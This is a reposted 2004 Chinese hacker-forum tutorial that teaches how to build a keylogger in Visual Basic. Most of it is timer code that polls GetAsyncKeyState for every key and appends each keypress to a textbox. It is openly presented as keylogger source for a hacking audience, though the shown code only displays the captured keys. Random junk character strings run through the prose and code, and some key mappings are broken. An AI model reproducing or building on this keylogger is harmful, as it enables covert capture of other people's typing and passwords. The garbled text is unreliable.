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标题: 手把手教你做键盘记录器 [打印本页]
作者: 韩冰    时间: 2004-10-4 12:04
标题: 手把手教你做键盘记录器

作者：小珂 转自黑基BBS原创作品版! i) g: I% ]$ W$ f5 Q' ~* z" i1 V 版权归黑客基地所有， 转载请注明出处

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前几天写了一篇键盘记录器，好多人反映看不懂，, {6 e; b: o! N" A S6 w" }. j 对新人没什么用处，所以且这篇我会写的 $ |0 C7 a% ~- A1 T# ^" F很详细，再也不像那篇，出了代码什么也没 ^!^5 ?1 B: X' q, D4 d' {1 y$ w- U' e 这个程序将会详细的讲解如何记载键盘的每一次输入。 0 v+ B# P' J/ ~- L; K' i. O+ }9 t下面介绍的这个程序主要是利用GetAsyncKeyState函数， * Y5 t8 N! H5 u+ U, \使用GetAsyncKeyState可以获得键盘的动作。 8 k p6 X- [. A* ], S/ zGetAsyncKeyState函数根据虚拟键表判断按键的类型。 - F1 c' F) c5 ]. Q; i/ q返回值为一个16位的二进值数，如果被按下则最高位为1，) {* _* s) ^/ H 即返回-32767。下面是API函数及鼠标中左右键在虚拟键表中的定义：3 j( q; z% h6 e( h$ \7 y Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer6 P' ]! B9 [6 j- G* I4 o' {4 z9 ? 好了，函数就先介绍这么多，下面开始动手实战了3 L. B% t! z' [ first,当然是创建窗口了 ! f) t6 V! l: e6 F3 B% r1 \% g ?/ u! _* @; e' k + y$ f- h9 a. ?! y+ W( B. C+ ] . n0 A6 y6 P @- r' @* k : m3 n( Z# b1 O6 t* h9 F ( e" L5 S, W2 l% }" q- o8 x2 E# Q在时间控件的Timer时间中定义检查按键类型，代码如下： & F2 ^' o" Y+ d& M1 p9 B/ d2 ODim AddKey : S; Z0 \# d; ~% b8 L& ~% {9 f KeyResult = GetAsyncKeyState(13) '回车键3 I8 h- [* E& w1 @! d If KeyResult = -32767 Then ' i0 n5 m% h$ H6 o1 n4 B7 q$ S AddKey = "[ENTER]"! o6 v+ _% \% h: }: ?1 K5 R& Q GoTo KeyFound; H5 w3 z6 F( ]: z% @" j( N End If6 |" Y' T7 b0 Y$ x, X KeyResult = GetAsyncKeyState(17) 'Ctrl键 _" Q6 p/ ~8 d, b) P" p If KeyResult = -32767 Then ( ]( U+ Z7 J* P0 r* g6 k" j7 T AddKey = "[CTRL]" 1 S5 @. t- Z. y. K/ k- x, B% `& ~ GoTo KeyFound " G, Y& J P) M3 [6 A End If & }" P% Q: u1 Q0 |, e6 N4 N0 d7 S KeyResult = GetAsyncKeyState(8) '退格键 9 j/ o: o3 |$ Y% n! \& U) e* q: y If KeyResult = -32767 Then ! U. b, K3 s+ ? AddKey = "[BKSPACE]" 8 b' K0 u0 S/ H* C2 q k GoTo KeyFound* e, U; _0 U& w' w' \8 e End If% }& l# a; n; a0 a, \ D+ E& d/ r; R5 ]$ G8 _ o KeyResult = GetAsyncKeyState(9) / Z' z, J. Q f! o If KeyResult = -32767 Then$ y. u% Y, b9 A, B# Y( S9 Q AddKey = "[TAB]" 3 t+ F* l) M& H* F8 I" S5 ~ GoTo KeyFound Z- W" h7 j2 Y* r2 B4 {7 e) B4 ~ End If, r! y1 A. @" N! _ ' @" B; L, F2 M% P KeyResult = GetAsyncKeyState(18) ( h( L$ q$ Z3 m3 z If KeyResult = -32767 Then& H1 p5 o0 j+ d AddKey = "[ALT]"! o" c# q8 g7 a GoTo KeyFound # [% R* x* {, y7 s+ ]& | End If l1 H- j! y+ v/ ?3 F' T& s6 S, X . J+ _( U. m& E3 p KeyResult = GetAsyncKeyState(19). C/ x4 u4 w: s P If KeyResult = -32767 Then - ^9 ~# V8 W( ^. [ AddKey = "[PAUSE]" u0 j/ _: {2 z GoTo KeyFound 6 C+ Y' J! o# d End If 8 g) G8 h3 W2 ^- O 2 U) v0 h& ]: j- l' {6 f1 [) ]# ~ KeyResult = GetAsyncKeyState(20) . h7 M9 N, {7 D- h0 }7 u If KeyResult = -32767 Then 9 S* @0 `. C4 T& d7 G: y6 L AddKey = "[CAPS]"1 ]9 O/ h. y2 K6 C* |4 `- _# b GoTo KeyFound3 u7 c, ?1 G Z% ~# D" u! } End If . d+ A& ]4 w$ f4 n" z9 l" h6 v ( d. p- {0 p$ x& I/ F, k KeyResult = GetAsyncKeyState(27)6 }5 |$ g, v2 @! L% `" i If KeyResult = -32767 Then # Y1 Q7 T( D7 t3 h7 U AddKey = "[ESC]": M' u" t" _( x9 S GoTo KeyFound ; } H$ f) u; s- y8 Y+ b End If 4 j$ Y) w/ O3 p+ ` # p* \ G3 E7 H7 ~6 t! G KeyResult = GetAsyncKeyState(33)0 I4 P6 v+ ?$ @- a+ j0 c# W If KeyResult = -32767 Then 2 k$ U- L8 j6 O8 ] AddKey = "[PGUP]"3 |+ G5 v+ u) m- B GoTo KeyFound1 S0 `' l& z c) e End If 1 L# a/ I! f) q8 F& u. `% B 0 m' G* s& t2 I0 Q: _, E, H7 A KeyResult = GetAsyncKeyState(34) ) g5 F! v5 `! r If KeyResult = -32767 Then . m4 k: W n9 R, s AddKey = "[PGDN]"! D, J- ~! U* V* H GoTo KeyFound ' o" \5 I5 C0 i- ]6 A8 p( z/ } End If9 Y9 E# x- _( Q6 A8 [ - Y4 f g' H4 U$ ]7 S0 ]. c KeyResult = GetAsyncKeyState(35)$ U/ l& z% k+ f If KeyResult = -32767 Then- A' g8 c- v( h; r' l AddKey = "[END]" 6 Z; W( o; M. o GoTo KeyFound0 p7 U" |( d, v: m! ^4 Y9 p End If/ E2 a r( [, t' `1 l + ?7 H/ Z& _ r. W8 n% D KeyResult = GetAsyncKeyState(36) : {- M2 |% e% l6 y If KeyResult = -32767 Then & i$ g$ W5 Z9 m AddKey = "[HOME]" * t( `* X- T, N% ~$ Y1 i+ c% V! v GoTo KeyFound2 f/ f+ [# z( r8 P End If/ o: z Z/ Z0 u Q; L" R: a% | ! o8 K9 x7 |' s% O q: H; X KeyResult = GetAsyncKeyState(44)! g9 ?( o; B. k7 R7 z( A: Q If KeyResult = -32767 Then 3 n6 g( [1 T* _$ Q+ V2 h1 Y3 j0 ~9 `$ w AddKey = "[SYSRQ]"& ]: W% k8 ]/ }2 Z GoTo KeyFound ! C) W* e; N8 Y# P! {2 ?2 }9 e% L End If/ ?% c. Z: \) T+ S Z / V) j- b3 X# S% W" c KeyResult = GetAsyncKeyState(45)6 R5 ?( W U% c q7 q$ O6 M' @ If KeyResult = -32767 Then ' v! A1 A- u! A) S& P AddKey = "[INS]"2 G) V. M9 [5 t$ k( a7 `. C/ { GoTo KeyFound 6 v2 p- u3 {& k4 G. Q' | End If 7 n$ ?8 Q6 U; D8 k! V + c) G2 S+ I- x9 ?8 H5 o# |5 a5 V KeyResult = GetAsyncKeyState(46)# W: l9 u7 K9 N# ~9 g# K# @8 [9 s If KeyResult = -32767 Then6 E6 ?* a4 c; Z" X& q AddKey = "[DEL]"2 Y3 v& z6 \5 w GoTo KeyFound / C' S( n/ t) U" o5 |# o& ]: L End If 1 B) B7 @6 u7 K1 Z 6 y4 h: f. p O% {. X KeyResult = GetAsyncKeyState(144)/ [8 ~# F) _& r3 ?5 ~7 J If KeyResult = -32767 Then / n$ Z! x$ H4 K- x$ [ AddKey = "[NUM]"% `; v9 u" i3 ] GoTo KeyFound - P; m& q7 r! S: } End If 1 T; z1 O1 y2 F) R8 S) U ^( c' T7 m! g# p7 ^# D" A i) U KeyResult = GetAsyncKeyState(37)" F- R0 Y2 F9 X2 } If KeyResult = -32767 Then5 e* W$ ?9 u3 e* V8 g- \9 r- n AddKey = "

"- P Q, X) B4 S- ^" |5 c GoTo KeyFound `7 K7 ?# {6 ~, _' j1 L: ? End If 4 K4 v9 q& U% z2 ` * `, v7 U0 \6 `. W KeyResult = GetAsyncKeyState(38). w7 r4 S& M2 |" u. j- J7 H If KeyResult = -32767 Then' O4 _+ Q" _ ~5 z AddKey = "[UP]" , o1 i+ ~4 s6 E" ` GoTo KeyFound $ [8 i8 @; W4 @ End If % U' a9 T( m6 h2 h8 K+ O) ?8 y) _: Q' k) z 4 n( o& X2 s0 l! V KeyResult = GetAsyncKeyState(39)" c1 k' a' u! u6 ~- V0 g4 L If KeyResult = -32767 Then - l# `0 j1 M! N$ v1 o7 u) X AddKey = "
" 2 c, a; T$ z0 g GoTo KeyFound4 M4 i$ k9 T3 d7 }' r1 N End If; r! c: t, \# I . s3 z; Z) |6 j; a( _3 W# C KeyResult = GetAsyncKeyState(40) 7 f6 h: Y: Q( N8 l% e If KeyResult = -32767 Then3 ^/ z+ O! X7 \5 Q AddKey = "[DOWN]", `( ~( M7 e$ N+ P GoTo KeyFound 9 R6 q Y' L* j# O& @% J End If 9 q/ P+ ^" W' V8 z P " v# d+ s# a9 |- c% h2 p: n / G% Z% q; y/ n2 X: a6 _; S) G/ |, |+ q5 L- Q KeyResult = GetAsyncKeyState(112)* [, s9 F) X' E+ y% v If KeyResult = -32767 Then ' x% g4 N `8 V5 V# ^( X% i AddKey = "[F1]"6 H* a$ L7 ^* _/ b( O+ B GoTo KeyFound b$ X' v. K0 q2 \" z End If) @& N( Y4 M. z$ _ 9 E, ~2 D1 ^/ M+ d KeyResult = GetAsyncKeyState(113)4 P$ c2 f% Q' z/ R6 r$ Z" Q If KeyResult = -32767 Then ! s5 o0 F; W6 R/ }# X/ e AddKey = "[F2]"" x& N0 f/ _# f% [ GoTo KeyFound : H% {' n, I( z% `* \ End If 5 n6 L+ K! V6 x; z # k& P {2 b" g- d' e, B M" h KeyResult = GetAsyncKeyState(114)% x8 K- L" j5 F If KeyResult = -32767 Then: v- S4 A" B& z* Q" V2 } AddKey = "[F3]" , g3 v* S' A. @* l/ f GoTo KeyFound + u/ C# N7 _- b9 L' h2 c End If ' h! d6 ?8 B7 c! L# l - N6 g; N$ w: \/ K& ^# D- Z KeyResult = GetAsyncKeyState(115)9 R" z9 _6 C, Q) G* o$ o8 @8 m If KeyResult = -32767 Then( n1 y/ l, V; r) G" l AddKey = "[F4]"$ `0 Y- |! e. K GoTo KeyFound: Q. A2 \0 R: A8 i! n: O. n! n End If 7 s$ }6 P: O# F7 I $ B3 h* w# |7 R5 YKeyResult = GetAsyncKeyState(116) ; T( b/ o( Z' ^, \( L+ @9 \# N If KeyResult = -32767 Then 4 f' s7 R+ e! p* i$ I+ t; X AddKey = "[F5]"! A9 I$ ]: f) L* y, d GoTo KeyFound7 j C) z2 S8 ^# m End If9 C1 N8 i4 X9 _$ o" n- F8 F ( D R% z5 ^& R1 a5 Z! } KeyResult = GetAsyncKeyState(117) * ]" X2 t" w" e/ r* d If KeyResult = -32767 Then 7 T$ I6 ^' R8 Y; M AddKey = "[F6]" ! E* I9 @$ `4 M0 w! M( P GoTo KeyFound : a" S: \7 L5 w' G End If- V- a) R# C) l9 y; w6 i O$ K! V2 O( x KeyResult = GetAsyncKeyState(118)) ~( ^, R% d) p* F! { If KeyResult = -32767 Then ; E8 |3 G: X; Y# X" @ AddKey = "[F7]" 7 \! A" T$ u3 A# ^ GoTo KeyFound % E/ U& n0 i; O, x- X& C( y% } End If % M% b _7 ]( V- Z) S ( `5 j' X' `$ w- J' j0 NKeyResult = GetAsyncKeyState(119)( k# U- D7 L7 Z5 s; e" S D If KeyResult = -32767 Then; }% B0 E, ]/ ?% l: \ AddKey = "[F8]" . D3 e# K& H: S4 I& {3 q7 t& q GoTo KeyFound4 f4 e" Q8 C9 F/ U0 D2 R- i% R End If 7 n% F5 R5 V8 m& r5 C9 q( k3 O 3 i/ H: i6 b4 G4 N% lKeyResult = GetAsyncKeyState(120) . I2 g# \* B" @3 _$ a4 ?. f5 f If KeyResult = -32767 Then% |5 u8 w8 T S: B2 i, q AddKey = "[F9]" 5 a/ n) U& S' L7 g GoTo KeyFound 1 E; Z2 J2 o' Q4 I2 j End If ) r" l% J/ g5 W5 h6 H : F; F3 k) H& g+ S5 t! Y8 }) K KeyResult = GetAsyncKeyState(121)& n, p/ H2 G' l If KeyResult = -32767 Then. ?( l# j9 e) S AddKey = "[F10]" 0 B& a& r1 d* V GoTo KeyFound/ Z/ g2 H& C* Q! T End If . q5 W& v$ U' r% w2 x7 R- A2 L0 J9 F 4 S8 n$ t, {. e' W# w* V KeyResult = GetAsyncKeyState(122): t4 M, o1 n: B" u If KeyResult = -32767 Then6 ?: W$ D) }2 w AddKey = "[F11]"1 O. r4 m1 b! O$ k4 v } ~ GoTo KeyFound ! F8 j4 d6 b8 i End If & ^ }4 ]! v, h" Z & G$ k0 B5 \4 k% U4 L u7 b( x# rKeyResult = GetAsyncKeyState(123) . E! i, H3 Y% M" f. [* T H3 V( n1 H7 G If KeyResult = -32767 Then ! c* d* d1 ~: Z+ e$ Y" F AddKey = "[F12]" 0 u* C' t, O+ X! x) h7 y GoTo KeyFound s( M. }, e: I! E4 i+ w End If* n: z) m' E X$ m! _0 T+ E S, M % h- J; ~- T: C+ GKeyResult = GetAsyncKeyState(124)9 V! }2 C( }" W/ j If KeyResult = -32767 Then 1 Q% w: d! M8 y7 Q AddKey = "[F13]"2 k$ A5 X4 w( W' o' e& I GoTo KeyFound 2 W- c6 |: O: U( K2 E9 K End If # \1 G& T+ A; i , X' A+ U: E, D KeyResult = GetAsyncKeyState(125) : t' N. r* V+ w8 J$ U# w) s If KeyResult = -32767 Then + c% c' Q' u, k' K* o- {) Y, L AddKey = "[F14]"' G$ o" N3 \- ^2 g GoTo KeyFound! Y3 V9 J) v/ w7 k8 {4 _/ S End If1 t q- r; O* n, H6 \ " m$ l% K- a4 H! t6 s; L KeyResult = GetAsyncKeyState(126)& ] d0 u, Y4 U0 k, E1 j If KeyResult = -32767 Then ! Y+ o: p+ [. R$ }! F+ t AddKey = "[F15]" 5 j$ e; u$ T A% w. @ GoTo KeyFound ; E- r3 t; x" C& Y1 [/ F End If . ]0 W9 x7 r f% {, a 9 b- s- P2 X# x+ iKeyResult = GetAsyncKeyState(127)4 q9 k- A, k7 x% y K If KeyResult = -32767 Then6 g$ q; z/ q* a, E AddKey = "[F16]" ' y6 ]$ R3 B. V+ Q" K$ F+ r GoTo KeyFound3 K3 b: [/ ]: y End If ! w1 x2 _ x/ i1 M# W! Y" S4 W, h, o5 P' j) r KeyResult = GetAsyncKeyState(32) ( ?( F9 |, ]: M+ e If KeyResult = -32767 Then 9 h5 u& e3 _6 J; Y4 q0 f AddKey = " " 3 Y- S) g# F+ p) p, X GoTo KeyFound" c5 E1 D6 x' D V' I4 H* r- k End If . f9 R( p( n/ u) g M6 X- ?: o6 r2 @) W# DKeyResult = GetAsyncKeyState(186)( B1 k+ ?7 e7 Q. g) \5 [ If KeyResult = -32767 Then5 e \% P+ k. c1 A, E8 u( T AddKey = ";"0 C) n* |- X* _: H, s# K GoTo KeyFound `& W! B3 r- M( l5 @5 ` `( [ End If4 _" J9 q% v8 i* _8 S3 o7 y8 K# [ 4 y8 g$ f" y: ?/ L% E7 c% t9 H. [ Y KeyResult = GetAsyncKeyState(187) 2 R1 u3 {3 o+ K$ U, q5 d0 V2 C If KeyResult = -32767 Then! E" @1 p3 W- V AddKey = "=" 8 z3 _3 l3 K* F/ C- C0 r) } GoTo KeyFound 2 f+ N% N1 i" |0 u; K# _ End If. W. a4 m) a# s4 h/ Y- v 8 i- D* \1 J; M Y! u9 @0 Z7 o2 f* r KeyResult = GetAsyncKeyState(188)5 v' [! n+ u9 P* E4 g h If KeyResult = -32767 Then& p, L3 N4 O: ?6 w! k' r6 V AddKey = "," 5 I7 h1 Y' O# _7 w$ I/ S GoTo KeyFound # b. c$ k3 g, x' e5 ]& }' E( N3 p End If ) z" J) M& o1 R/ |, P . t+ U8 A \# g$ z KeyResult = GetAsyncKeyState(189) % Q$ J. Y) E n' |# o, [% |/ L4 e If KeyResult = -32767 Then% d) c3 @8 i3 |! d: [ AddKey = "-" 3 R9 X% f( P5 A GoTo KeyFound! R5 P$ f! {. [. U: d6 f0 z End If Z2 G3 \4 G8 A% P 8 ~* ]/ \$ E1 c% C KeyResult = GetAsyncKeyState(190)& G& k3 b0 g4 R) d7 O If KeyResult = -32767 Then 8 z+ @1 ^' s& | AddKey = ".", w( [% ~9 z9 y GoTo KeyFound0 _- Q' L/ D& w" L End If4 Y2 ` w* {* ?% A* U 5 K: l8 ]( X. @& C+ p KeyResult = GetAsyncKeyState(191) * J( Q* W" o+ W5 ` u6 K% U; p If KeyResult = -32767 Then / V/ q* e- V$ N/ @. X- @ AddKey = "/" '/ 5 C! L: `5 u4 m$ p& O GoTo KeyFound ) g5 ^' J) j- H( K8 [, T End If " g. q g3 f6 d [ & a7 V9 N& f1 D2 cKeyResult = GetAsyncKeyState(192) 6 R& e) U2 H! X1 s If KeyResult = -32767 Then+ O1 X# h& E; ] @ AddKey = "`" '` - ~& V% F( o) } GoTo KeyFound0 f& ~! q7 U, O1 v End If * E0 E, J. a8 t7 ]/ R - O2 W' E, b b0 {* {" J; u4 ? $ @; l8 b0 l# f% S. g t. C" B: l1 ]0 f'----------NUM PAD( N O5 c3 ^* h! l1 @4 i9 z- @ KeyResult = GetAsyncKeyState(96) . \/ C/ ~% m/ t9 ] If KeyResult = -32767 Then1 s4 x) X( e- }. { P AddKey = "0") H$ w! ^& K( O+ } GoTo KeyFound - A% u" a' N X: x End If 5 f/ B% D( Q4 C4 X ; M9 q0 s: A- q% nKeyResult = GetAsyncKeyState(97) " r/ L/ {* z9 }4 j5 } If KeyResult = -32767 Then& V8 M& f$ E5 A+ \2 [ AddKey = "1"6 ?; T# _6 O/ e# D6 a GoTo KeyFound ; L8 f% G: x; \* _ End If 3 b! h) R" k( d # G8 ^7 O6 Z$ v2 J' R& x6 m1 W8 v$ _1 }+ S9 v: i2 r KeyResult = GetAsyncKeyState(98) 8 q4 f! e k3 r$ f, y: N$ w If KeyResult = -32767 Then + v( x: R/ Z" O- v M AddKey = "2" D5 ?# Q( n7 j: N3 r3 Q GoTo KeyFound3 e% x- o, M2 m! D; @& Z) } End If % B. d! a" W3 x* J6 x 2 _. D" s# O/ eKeyResult = GetAsyncKeyState(99) / u4 U) |: R0 y o If KeyResult = -32767 Then3 N9 [+ g- |# K% k. s; j0 W* G AddKey = "3" " w3 F0 I( w% \- k& B GoTo KeyFound" X: E4 C! A- @" A3 Q' B: e End If" i9 _; F, H, z O 0 U, N0 q. |5 V% E7 z/ t 3 a9 `- a) N. Q KeyResult = GetAsyncKeyState(100); k' G' J6 i1 {/ f; x7 `$ u If KeyResult = -32767 Then. s0 h! }( ]4 ? P0 t7 l AddKey = "4"' d" U0 J8 `$ }* a4 ~' X GoTo KeyFound ; d k2 {4 \- B* T: D& t2 q( j% w5 d( m End If * A& p, `6 P/ J0 |; Z" r, x# q$ ` KeyResult = GetAsyncKeyState(101) + J @. G! i6 O& s! I, i1 j9 k" T If KeyResult = -32767 Then 1 b, t( `& m1 V( i0 y6 w! E0 e, n. i AddKey = "5" p* ~" w0 G+ j4 Q9 j. v7 o) ? GoTo KeyFound 5 q. u" Z4 I9 d) K+ O/ C8 y0 x* U End If # K0 D# U- e+ M * _+ J6 B* I7 n- h 4 p6 i. q' u# T+ S% V8 W, x, q: u KeyResult = GetAsyncKeyState(102) 0 t" d. ?, ~; V If KeyResult = -32767 Then . Q9 i# M8 d# \' M! l9 h" p AddKey = "6" 3 u2 o. `9 G- H4 S) R! k& g GoTo KeyFound 9 _, ^. J) {+ o3 x, b End If M+ \' U2 Q# O% w " `; u$ A8 w. l' y/ u: L KeyResult = GetAsyncKeyState(103) ; w. o; F- H$ M If KeyResult = -32767 Then & D1 y) e$ K* V( t- q0 y0 j AddKey = "7", }" |. y: r# q5 L& P) N0 m7 N GoTo KeyFound# {" o* |% x; j End If! W& F! o7 h; A* s- k6 H3 B! Y. ? . ^( o4 H( [; T1 ^ / L/ A3 p( ^" Q j5 S KeyResult = GetAsyncKeyState(104) ! p1 H. v( c0 }3 S' a If KeyResult = -32767 Then $ \ G/ F3 H @* `( z3 ~1 ^ AddKey = "8" - P/ ~+ q5 X" h' b# T GoTo KeyFound* W9 u3 X/ M9 a4 o, Y End If+ a! D A1 N, t, m( P f ! x7 l. ]4 r2 F) {# R KeyResult = GetAsyncKeyState(105) ; U( V/ }. V, t$ M$ g% w If KeyResult = -32767 Then / w' D J2 p) E) ^ AddKey = "9" 8 Q- E$ w0 `/ o7 t7 I+ | GoTo KeyFound + W% o+ j, P( B" Y End If ( B. ^8 D% b4 j( R ( U! j9 k& x$ j/ N ( K) v! F7 b( ?& E. \ KeyResult = GetAsyncKeyState(106)* Q. q# X: K( `, \ If KeyResult = -32767 Then) V; h: d4 N3 f% Z* H2 P) h& V AddKey = "*"8 n* l1 o5 {2 Z$ z; o GoTo KeyFound 3 H8 d5 L9 H' f9 H8 r( Y- } End If, h/ H" p+ r% R6 W" J0 A4 f K$ i + K7 M& }2 }/ R: HKeyResult = GetAsyncKeyState(107) & g6 D9 z) M3 q8 G If KeyResult = -32767 Then( y, {3 m1 c& L) s; ~ AddKey = "+" $ s! g3 s) P+ x, t GoTo KeyFound, ^' f. J" [( A5 {( d0 C End If " l; x& R0 k& q4 q! P ( {" N/ ^' [/ `2 T1 XKeyResult = GetAsyncKeyState(108) 9 r$ m- d: C2 I* Q, w, H If KeyResult = -32767 Then& Q2 e0 Z$ a! H' ~ AddKey = "[ENTER]"5 e0 Q* s; o( R" k* P# |3 m: r2 } GoTo KeyFound 2 \' _: G# \0 o End If. e2 F% i$ `/ B5 K n* ]$ L # k+ }% ^+ e% `* z* e9 m KeyResult = GetAsyncKeyState(109)2 o5 ?# d* Y, L If KeyResult = -32767 Then0 T4 B$ J/ H1 b) }# w AddKey = "-" 2 o; I2 N5 b1 s+ z7 u2 i GoTo KeyFound1 s! w" c5 r, B; l2 Z End If' A" z% c: \, T, x c' r/ ~ ( h+ ?( F/ S% s$ Y) `KeyResult = GetAsyncKeyState(110) 8 d+ m; j9 b6 U" J$ L" U If KeyResult = -32767 Then + R; p& M2 s7 v$ }! H( i AddKey = "." ; D2 s0 d' N+ y9 t3 t) b2 I GoTo KeyFound7 b' g9 k) {: s8 N3 H7 M: Q End If R" K1 C0 j7 Z+ g- ^/ z( x. c3 D. Y0 \2 g3 P KeyResult = GetAsyncKeyState(2), Y* E2 A4 q% V9 ^: Q If KeyResult = -32767 Then# ]2 p& _, G {; F$ j AddKey = "/" 6 }6 s) V% v+ G! j GoTo KeyFound9 l4 V, w u z: D3 Z8 l: E End If ( }- Z: ]5 c: u8 E( M3 j4 m$ ^7 `2 ^8 m9 u4 ?) h7 ]0 q: R! e, d! ? KeyResult = GetAsyncKeyState(220) 3 o$ Y/ @- W8 k* \# N; Y If KeyResult = -32767 Then" {8 g. u9 V1 E) I, r" Z' F2 ?/ f AddKey = "\" 0 i4 C8 d9 T* U' B% d% Z% U6 u. L GoTo KeyFound" O& y& [# O5 b# ~% z3 E/ I End If, l0 U) }2 Q, a5 k' O+ w q. [4 H5 d; X0 R' R& m KeyResult = GetAsyncKeyState(222). s- a; K3 b9 ^- e If KeyResult = -32767 Then" _( T g4 X( n# v8 J9 w; I4 x AddKey = "'"9 c0 [ S! ^# o8 ?1 I GoTo KeyFound 6 M9 t+ E1 t) e' z- L2 @5 u: S End If & v. i! ?# @. t. \. @/ Y+ N" V1 J/ \0 k) o+ B4 ` KeyResult = GetAsyncKeyState(221)# R! }. i5 ^) |. k. P8 H! E If KeyResult = -32767 Then7 R* j* c* T8 n5 p* r AddKey = "]"/ ?; M7 E7 e- S# a" ^ , ^% s+ l% x6 T7 B; P # O, g' R9 q& ]7 C' g GoTo KeyFound + R; | z; t* | Q6 H I1 q End If {! o2 k, p4 ^" T' F, j 0 x9 }2 i9 J* s% q- n KeyResult = GetAsyncKeyState(219); ]) I- l! V/ I; V If KeyResult = -32767 Then / [/ d, M3 K' l& r AddKey = "[" : d# A6 k9 u- c* X1 E GoTo KeyFound! n6 u5 d: Z2 T3 _8 j8 L1 c/ a End If 7 n3 [+ l; L4 g7 V* n, f; e 6 Z r: r' k: ?8 XKeyResult = GetAsyncKeyState(16) 'shift键 d+ a/ l* C" n3 \ If KeyResult = -32767 And TimeOut = 0 Then 9 I9 @. n) g$ I g! ?7 g3 S/ ] AddKey = "[SHIFT]" " N$ r: \6 Z3 }1 B1 K4 @ LastKey = AddKey) a0 K l9 n* E- `- x+ F TimeOut = 1 ! [% P& n* W( t t3 w$ N" l GoTo KeyFound: u6 n$ I$ M9 |- H6 D8 v. w End If . d7 B; g3 |: W7 q" T9 R* o9 S% c! n9 N% g KeyLoop = 41' f; D* O" Y( M% d' T4 N; k& r g% N: ?% I1 V7 ]8 K9 N, C Do Until KeyLoop = 256 ' 显示其他键 * o9 {% G, N' S1 }. j3 R8 d KeyResult = GetAsyncKeyState(KeyLoop) * f' |! j& z) L6 x If KeyResult = -32767 Then Text1.Text = Text1.Text + Chr(KeyLoop)0 p( w% s% b; Y$ s2 d& O KeyLoop = KeyLoop + 1. a$ n9 v) p* P! B$ m Loop7 \5 J% m3 t: ` LastKey = AddKey ! F# p* r9 c1 F# I: T Exit Sub / H' p# G! W$ D2 [1 O7 S; G; W& q% \' eKeyFound: '显示键的信息 9 y+ F5 W0 G# X . a: _; ~7 F/ J6 q( F$ U6 \' |Text1 = Text1 & AddKey q( Q1 X3 N8 |End Sub ( U0 x$ j7 Q8 N; u( ~/ V/ i1 W上面的（）里面的数字实际是就是那些键的Ascii码，比如13就代表回车，17代表Ctrl，……# \: E; J+ j/ d3 h+ |- }# ~; G 由于数目太多，一一列举不方便, T. N& Y7 Y# S W 现提供Ascii表一份供对照 1 {% M K: X' f0 ~$ ihttp://www.cstudy.cn/repository/ascii/default.htm 6 Z8 C2 ]5 q3 U( ^) e0 a下面是其他的事件0 T& k2 N0 w4 j# ? Private Sub Timer2_Timer()2 G$ ~( F8 x+ ]% r TimeOut = 0) K6 E2 J p+ K( ?+ f8 d! B/ a8 r End Sub( A9 x' w: F6 _7 E; b* o2 J# H 目的是随时刷新清空 5 D v2 O% K( U Y! }" z+ ^





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